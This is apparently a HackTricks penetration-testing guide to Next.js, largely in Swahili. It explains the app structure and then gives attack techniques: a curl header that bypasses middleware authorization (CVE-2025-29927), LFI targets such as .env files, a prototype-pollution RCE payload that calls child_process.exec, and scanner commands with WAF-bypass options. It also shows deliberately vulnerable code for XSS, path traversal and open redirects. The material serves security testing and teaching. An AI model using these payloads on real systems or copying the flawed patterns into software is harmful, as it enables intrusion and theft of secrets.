NextJS

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Mimari ya Jumla ya Programu ya Next.js

Muundo wa Kawaida wa Faili

Mradi wa kawaida wa Next.js unafuata muundo maalum wa faili na saraka ambao unarahisisha vipengele vyake kama routing, API endpoints, na usimamizi wa static assets. Hapa kuna mpangilio wa kawaida:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Saraka za Msingi na Faili

• public/: Inahifadhi rasilimali za static kama picha, fonts, na faili nyingine. Faili hapa zinapatikana kwenye path ya mzizi (/).
• app/: Saraka kuu ya pages, layouts, components, na API routes za application yako. Inatumia App Router paradigm, ikiruhusu sifa za routing za juu na kutenganishwa kwa server-client components.
• app/layout.tsx: Inaelezea root layout ya application yako, ikizungusha kurasa zote na kutoa vipengele vya UI vinavyokaribiana kama headers, footers, na navigation bars.
• app/page.tsx: Inafanya kazi kama entry point kwa route ya mzizi /, ikitumia home page.
• app/[route]/page.tsx: Inashughulikia routes static na dynamic. Kila folda ndani ya app/ inawakilisha segment ya route, na page.tsx ndani ya hizo folda inalingana na component ya route.
• app/api/: Ina API routes, ikikuruhusu kuunda serverless functions zinazoshughulikia HTTP requests. Routes hizi zinachukua nafasi ya pages/api ya jadi.
• app/components/: Inahifadhi React components zinazoweza kutumika tena kwa kurasa na layouts mbalimbali.
• app/styles/: Inajumuisha faili za global CSS na CSS Modules kwa styling inayolengwa kwa components.
• app/utils/: Inajumuisha utility functions, helper modules, na mantiki nyingine isiyo ya UI inayoweza kushirikiwa katika application.
• .env.local: Inahifadhi environment variables maalum kwa development ya local. Variables hizi siyo kuwasilishwa kwenye version control.
• next.config.js: Inabinafsisha tabia ya Next.js, ikijumuisha webpack configurations, environment variables, na settings za usalama.
• tsconfig.json: Inasanidi mipangilio ya TypeScript kwa project, ikiruhusu ukaguzi wa aina na sifa nyingine za TypeScript.
• package.json: Inasimamia dependencies za project, scripts, na metadata.
• README.md: Inatoa nyaraka na taarifa kuhusu project, ikiwa ni pamoja na maelekezo ya setup, mwongozo wa matumizi, na maelezo mengine muhimu.
• yarn.lock / package-lock.json: Znashikilia dependencies za project kwa toleo maalum, kuhakikisha usakinishaji unaoendelea sawa katika mazingira tofauti.

Client-Side katika Next.js

Routing ya Kifayili katika saraka ya app

Saraka ya app ni jiwe la msingi la routing katika versions za hivi karibuni za Next.js. Inatumia filesystem kutafuta routes, kufanya usimamizi wa routes kuwa wa kimantiki na unaoweza kupanuka.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Hatari za Upande wa Mteja Zinazoweza Kutokea

Wakati Next.js inatoa msingi salama, mbinu zisizofaa za kuandika code zinaweza kuleta udhaifu. Hatari kuu upande wa mteja ni pamoja na:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Uchunguzi: ugunduzi wa routes za static export kupitia _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

• Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
• Fetch the manifest and extract routes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Tumia njia zilizogunduliwa (kwa mfano /docs, /docs/content/examples, /signin) kuendesha auth testing na endpoint discovery.

Upande wa Seva katika Next.js

Uwasilishaji Upande wa Seva (SSR)

Kurasa huundwa kwenye seva kwa kila ombi, kuhakikisha kwamba mtumiaji anapata HTML iliyotengenezwa kikamilifu. Katika kesi hii unapaswa kutengeneza seva yako maalum ili kusindika maombi.

Matumizi:

• Yaliyomo yanayobadilika mara kwa mara.
• Uboreshaji wa SEO, kwa kuwa mashine za utafutaji zinaweza kuvinjari ukurasa uliotolewa kikamilifu.

Utekelezaji:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Uundaji wa Tovuti Imara (SSG)

Kurasa zinaandaliwa awali wakati wa ujenzi, zikisababisha muda mfupi wa upakiaji na kupunguza mzigo wa seva.

Matumizi:

• Yaliyomo ambayo hayabadiliki mara kwa mara.
• Blogi, nyaraka, kurasa za masoko.

Utekelezaji:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Kazi zisizo na server (API Routes)

Next.js inaruhusu uundaji wa API endpoints kama kazi zisizo na server. Kazi hizi zinaendeshwa kwa mahitaji bila hitaji la server maalum.

Matumizi:

• Kushughulikia uwasilishaji wa fomu.
• Kushirikiana na databases.
• Kuchakata data au kuingiliana na third-party APIs.

Utekelezaji:

Kwa kuanzishwa kwa saraka ya app katika Next.js 13, routing na API handling imekuwa yenye kubadilika zaidi na yenye nguvu. Mbinu hii ya kisasa inaendana kwa karibu na mfumo wa file-based routing, lakini inaleta uwezo ulioboreshwa, ikiwa ni pamoja na msaada kwa server na client components.

Mshughulikiaji wa Route Msingi

Muundo wa Faili:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Utekelezaji:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Maelezo:

• Mahali: Routes za API zipo chini ya saraka app/api/.
• Jina la Faili: Kila endpoint ya API iko katika saraka yake yenye faili route.js au route.ts.
• Funsioni Zilizotumwa: Badala ya default export moja, funsioni maalum za HTTP method (mf., GET, POST) zinaexportwa.
• Ushughulikiaji wa Response: Tumia constructor ya Response kurudisha responses, ikiruhusu udhibiti zaidi juu ya headers na status codes.

Jinsi ya kushughulikia paths na methods nyingine:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Usanidi wa CORS

Dhibiti origins zinazoweza kufikia API routes zako, kupunguza Cross-Origin Resource Sharing (CORS) vulnerabilities.

Mfano Mbaya wa Usanidi:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Kumbuka kwamba CORS inaweza pia kusanidiwa katika routes zote za API ndani ya middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Tatizo:

• Access-Control-Allow-Origin: '*': Inaruhusu tovuti yoyote kufikia API, na inaweza kumruhusu tovuti zenye nia mbaya kuingiliana na API yako bila vikwazo.
• Ukuruhusu Mbinu Zote: Kuruhusu mbinu zote kunaweza kuruhusu wadukuzi kufanya vitendo visivyotakikana.

Jinsi wadukuzi wanavyovitumia:

Wadukuzi wanaweza kuunda tovuti zenye madhara zinazofanya maombi kwa API yako, na kuweza kutumia vibaya vipengele kama upokeaji wa data, uhariri wa data, au kusababisha vitendo visivyotakikana kwa niaba ya watumiaji waliothibitishwa.

CORS - Misconfigurations & Bypass

Ufunuo wa code ya server kwenye upande wa client

Inaweza kuwa rahisi kutumia code inayotumika kwenye server pia katika code inayofichuliwa na kutumika upande wa client, njia bora ya kuhakikisha faili ya code haifichuki upande wa client ni kwa kutumia import hii mwanzoni mwa faili:

import "server-only"

Faili Muhimu na Nafasi Zao

middleware.ts / middleware.js

Location: Root ya project au ndani ya src/.

Purpose: Inatekeleza code katika server-side serverless function kabla request kushughulikiwa, ikiruhusu kazi kama authentication, redirects, au kubadilisha responses.

Execution Flow:

1. Incoming Request: Middleware inakamata request.
2. Processing: Hufanya operesheni kulingana na request (mfano, check authentication).
3. Response Modification: Inaweza kubadilisha response au kutoa control kwa next handler.

Example Use Cases:

• Redirecting unauthenticated users.
• Adding custom headers.
• Logging requests.

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Ikiwa authorization inatekelezwa katika middleware, toleo za Next.js zilizoathiriwa (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) zinaweza kupitishwa kwa kuingiza header x-middleware-subrequest. Framework itaruka recursion ya middleware na kurudisha ukurasa uliolindwa.

• Tabia ya msingi kwa kawaida ni redirect 307 kwenda route ya login kama /api/auth/signin.
• Tuma value ndefu ya x-middleware-subrequest (rudia middleware ili kufikia MAX_RECURSION_DEPTH) ili kubadilisha response kuwa 200:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Kwa sababu kurasa zilizo na uthibitisho hunyakua subresources nyingi, ongeza header kwa kila ombi (mfano, Burp Match/Replace kwa mnyororo wa match tupu) ili kuzuia assets kuelekezwa tena.

next.config.js

Mahali: Mzizi wa mradi.

Madhumuni: Hupanga tabia ya Next.js, kuruhusu au kuzima vipengele, kubinafsisha usanidi wa webpack, kuweka vigezo vya mazingira, na kusanidi vipengele kadhaa vya usalama.

Mipangilio Muhimu ya Usalama:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js na pages/_document.js

pages/_app.js

Madhumuni: Inapindua default App component, ikiruhusu global state, styles, na components za layout.

Matumizi:

• Kuingiza global CSS.
• Kuongeza layout wrappers.
• Kuunganisha state management libraries.

Mfano:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Madhumuni: Inabadili Document chaguo-msingi, ikiruhusu kubinafsisha tagi za <html> na <body>.

Matumizi:

• Kubadilisha tagi za <html> au <body>.
• Kuongeza meta tags au scripts maalum.
• Kuunganisha fonts za mtu wa tatu.

Mfano:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Seva Maalum (Hiari)

Madhumuni: Wakati Next.js inakuja na seva iliyojengwa ndani, unaweza kuunda seva maalum kwa matumizi ya hali ya juu kama routing maalum au kuunganisha na huduma za backend zilizopo.

Kumbuka: Kutumia seva maalum kunaweza kupunguza chaguzi za uanzishaji, hasa kwenye majukwaa kama Vercel ambayo yameboreshwa kwa seva iliyojengwa ya Next.js.

Mfano:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Mambo ya ziada ya usanifu na usalama

Variables za mazingira na usanidi

Madhumuni: Kusimamia taarifa nyeti na mipangilio ya usanidi nje ya msimbo wa chanzo.

Mbinu Bora:

• Tumia faili .env: Hifadhi variables kama API keys katika .env.local (zisizoingizwa kwenye version control).
• Pata variables kwa usalama: Tumia process.env.VARIABLE_NAME kupata variables za mazingira.
• Usifunue siri kwa client: Hakikisha variables nyeti zinatumika server-side pekee.

Mfano:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Kumbuka: Ili kuyazuia vigezo kuwa kwa upande wa server pekee, viondoe kwenye object ya env au wape prefix NEXT_PUBLIC_ ili yaonyeshwe kwa client.

Vifaa muhimu vya server vinavyofaa kulengwa kupitia LFI/download endpoints

Ikiwa unatambua path traversal au download API kwenye app ya Next.js, lengwa artifacts zilizojengwa ambazo leak server-side secrets na auth logic:

• .env / .env.local kwa session secrets na provider credentials.
• .next/routes-manifest.json and .next/build-manifest.json kwa orodha kamili ya routes.
• .next/server/pages/api/auth/[...nextauth].js ili kurejesha configuration ya NextAuth iliyojengwa (mara nyingi ina fallback passwords wakati process.env values hazijowekwa).
• next.config.js / next.config.mjs kwa ukaguzi wa rewrites, redirects na middleware routing.

Uthibitishaji na Uidhinishaji

Mbinu:

• Uthibitishaji unaotegemea Session: Tumia cookies kusimamia user sessions.
• Uthibitishaji unaotegemea Token: Tumia JWTs kwa uthibitishaji usio na state.
• Watoa Huduma wa Nje: Unganisha na OAuth providers (mfano, Google, GitHub) kwa kutumia libraries kama next-auth.

Mazoea ya Usalama:

• Cookies Salama: Weka sifa HttpOnly, Secure, na SameSite.
• Hashing ya Password: Daima fanya hash ya passwords kabla ya kuziweka.
• Uthibitisho wa Input: Zuia injection attacks kwa kuthibitisha na kusafisha inputs.

Mfano:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Uboreshaji wa Utendaji

Mikakati:

• Uboreshaji wa Picha: Tumia Next.js’s next/image component kwa uboreshaji wa picha kiotomatiki.
• Ugawaji wa Msimbo: Tumia dynamic imports kugawa msimbo na kupunguza muda wa mzigo wa mwanzo.
• Uhifadhi wa Cache: Tekeleza mikakati ya caching kwa majibu ya API na rasilimali za statiki.
• Kupakia kwa kuchelewesha (Lazy Loading): Pakia vipengele au rasilimali tu wakati zinapohitajika.

Mfano:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Uorodheshaji wa Next.js Server Actions (hash kwa jina la function kupitia source maps)

Next.js ya kisasa inatumia “Server Actions” ambazo zinafanywa kwenye server lakini zinaitwa kutoka kwa client. Katika production miito hii haieleweki wazi: POST zote zinafikia endpoint moja ya kawaida na zinafahamishwa kwa hash maalum ya build inayotumwa kwenye header Next-Action. Mfano:

POST /
Next-Action: a9f8e2b4c7d1...

Wakati productionBrowserSourceMaps imewezeshwa, minified JS chunks zina miito kwa createServerReference(...) ambazo leak muundo wa kutosha (pamoja na source maps zinazohusiana) ili kurejesha ramani kati ya action hash na jina la function asilia. Hii inakuwezesha kutafsiri hashes unazoziona katika Next-Action kuwa malengo mahususi kama deleteUserAccount() au exportFinancialData().

Mbinu ya uchimbaji (regex on minified JS + optional source maps)

Tafuta JS chunks zilizopakuliwa kwa createServerReference na chukua hash pamoja na function/source symbol. Patterns mbili zinazofaa:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Kikundi 1: server action hash (40+ hex chars)
• Kikundi 2: symbol au path ambayo inaweza kutatuliwa hadi original function via the source map inapokuwepo

Kama script inatangaza source map (trailer comment //# sourceMappingURL=<...>.map), chukua hiyo map na tatua symbol/path hadi jina la asili la function.

Mchakato wa vitendo

• Ugunduzi wa pasivi wakati wa kuvinjari: chukua requests zenye vichwa vya Next-Action na JS chunk URLs.
• Chukua JS bundles zilizotajwa na faili za *.map zinazofuatana (inapokuwepo).
• Endesha regex iliyotajwa juu ili kujenga kamusi ya hash↔name.
• Tumia kamusi kwa kuwalenga majaribio:
  • Triage kwa msingi wa jina (mfano: transferFunds, exportFinancialData).
  • Fuata coverage kati ya builds kwa jina la function (hashes hubadilika kati ya builds).

Kuingiza vitendo vilivyo fichika (ombaji la template)

Chukua POST halali uliyoonekana in-proxy kama template na badilisha thamani ya Next-Action ili kulenga action nyingine uliyogundua:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Rudia katika Repeater na jaribu uthibitishaji, uhalalishaji wa pembejeo na business logic ya vitendo ambavyo vingekuwa visivyofikika.

Otomatiki ya Burp

• NextjsServerActionAnalyzer (Burp extension) inat automatisha yaliyotajwa hapo juu ndani ya Burp:
• Inachimba historia ya proxy kwa JS chunks, hutoa entries za createServerReference(...), na inachanganua source maps inapopatikana.
• Inatunza kamusi inayoweza kutafutwa ya hash↔function-name na inaondoa nakala kuvuka builds kwa jina la function.
• Inaweza kupata POST ya template halali na kufungua tab ya Repeater tayari-kutumwa ukiweka hash ya action lengwa.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Vidokezo na vikwazo

• Inahitaji productionBrowserSourceMaps kuwezeshwa kwenye production ili kurejesha majina kutoka bundles/source maps.
• Kufichuliwa kwa function-name si udhaifu kwa mwenyewe; itumie kuongoza uvumbuzi na kujaribu idhinishaji (authorization) wa kila action.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments ambazo zinaonyesha Server Actions kwenye react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) zina uchafu wa prototype muhimu upande-server wakati wa deserialization ya chunk ya Flight. Kwa kutengeneza marejeo ya $ ndani ya payload ya Flight mshambuliaji anaweza kuhamia kutoka prototypes zilizochafuliwa hadi kutekelezwa kwa JavaScript kwa hiari kisha hadi kutekelezwa kwa amri za OS ndani ya mchakato wa Node.js.

NodeJS - proto & prototype Pollution

Mlolongo wa mashambulizi katika Flight chunks

1. Prototype pollution primitive: Weka "then": "$1:__proto__:then" ili resolver iandike function then kwenye Object.prototype. Kila plain object inayosindikwa baadaye inakuwa thenable, ikimruhusu mshambuliaji kuathiri mtiririko wa async control ndani ya ndani za RSC.
2. Rebinding to the global Function constructor: Elekeza _response._formData.get kwa "$1:constructor:constructor". Wakati wa resolution, object.constructor → Object, na Object.constructor → Function, hivyo miito ya baadaye kwa _formData.get() inatekeleza kweli Function(...).
3. Code execution via _prefix: Weka chanzo cha JavaScript katika _response._prefix. Wakati _formData.get iliyochafiwa itaendeshwa, framework itatathmini Function(_prefix)(...), hivyo JS iliyowezaingizwa inaweza kuendesha require('child_process').exec() au primitive nyingine yoyote ya Node.

Muundo wa payload

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Ramani ya ufichuzi wa React Server Function

React Server Functions (RSF) ni functions zozote zinazojumuisha directive 'use server';. Kila form action, mutation, au fetch helper iliyounganishwa na moja ya functions hizo inakuwa RSC Flight endpoint ambayo itafurahia ku-deserialize attacker-supplied payloads.

Hatua za recon zinazofaa zilizotokana na tathmini za React2Shell:

• Static inventory: angalia directive ili kuelewa ni RSF ngapi zinazoonyeshwa kwa otomatiki na framework.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app inawawezesha App Router + app/ directory kwa default, ambayo kwa kimya humgeuza kila route kuwa endpoint inayoweza RSC. App Router assets kama /_next/static/chunks/app/ au responses zinazotiririsha Flight chunks kupitia text/x-component ni alama za utambulisho zenye nguvu zinazoonekana mtandaoni.
• Implicitly vulnerable RSC deployments: taarifa ya React yenyewe inaonyesha kuwa apps zinazoweka runtime ya RSC zinaweza kushambuliwa hata bila RSFs wazi, hivyo chukulia build yoyote inayotumia react-server-dom-* 19.0.0–19.2.0 kuwa shaka.
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, nk. zinatumia serializer ile ile na kurithi uso ule ule wa mashambulizi kwa mbali hadi zitakapoingiza builds za React zilizo na patch.

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: zilizo na udhaifu katika 19.0.0, 19.1.0–19.1.1 na 19.2.0; imerekebishwa katika 19.0.1, 19.1.2 na 19.2.1 mtawalia.
• Next.js stable: App Router releases 15.0.0–16.0.6 zinaingiza RSC stack iliyo na udhaifu. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 zinajumuisha deps zilizo rekebishwa, hivyo build yoyote chini ya matoleo hayo ni lengo la kipaumbele.
• Next.js canary: 14.3.0-canary.77+ pia inabeba runtime yenye hitilafu na kwa sasa haina canary drops zilizo patched, ikifanya alama hizo kuwa wagombea wenye nguvu wa kujeruhiwa.

Remote detection oracle

Assetnote’s react2shell-scanner inatuma request maalum ya multipart Flight kwenye paths zinazotokea na inatazama tabia za server upande wa nyuma:

• Default mode inatekeleza payload ya deterministic RCE (operesheni ya hisabati inayorudishwa kupitia X-Action-Redirect) inayothibitisha utekelezaji wa msimbo.
• --safe-check mode kwa makusudi inaharibu ujumbe wa Flight ili servers zilizopachikwa patch zirudishe 200/400, wakati malengo yaliyo na udhaifu yatatoa responses za HTTP/500 zenye substring ya E{"digest" ndani ya body. Pamoja hiyo ya (500 + digest) kwa sasa ndiyo oracle ya mbali yenye kuaminika zaidi iliyochapishwa na walinzi.
• Vyombo vya ndani vya --waf-bypass, --vercel-waf-bypass, na --windows vinabadilisha mpangilio wa payload, kuingiza junk mwanzoni, au kubadilisha amri za OS ili uweze kupima assets halisi za Internet.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Mambo mengine ya hivi karibuni ya App Router (mwishoni mwa 2025)

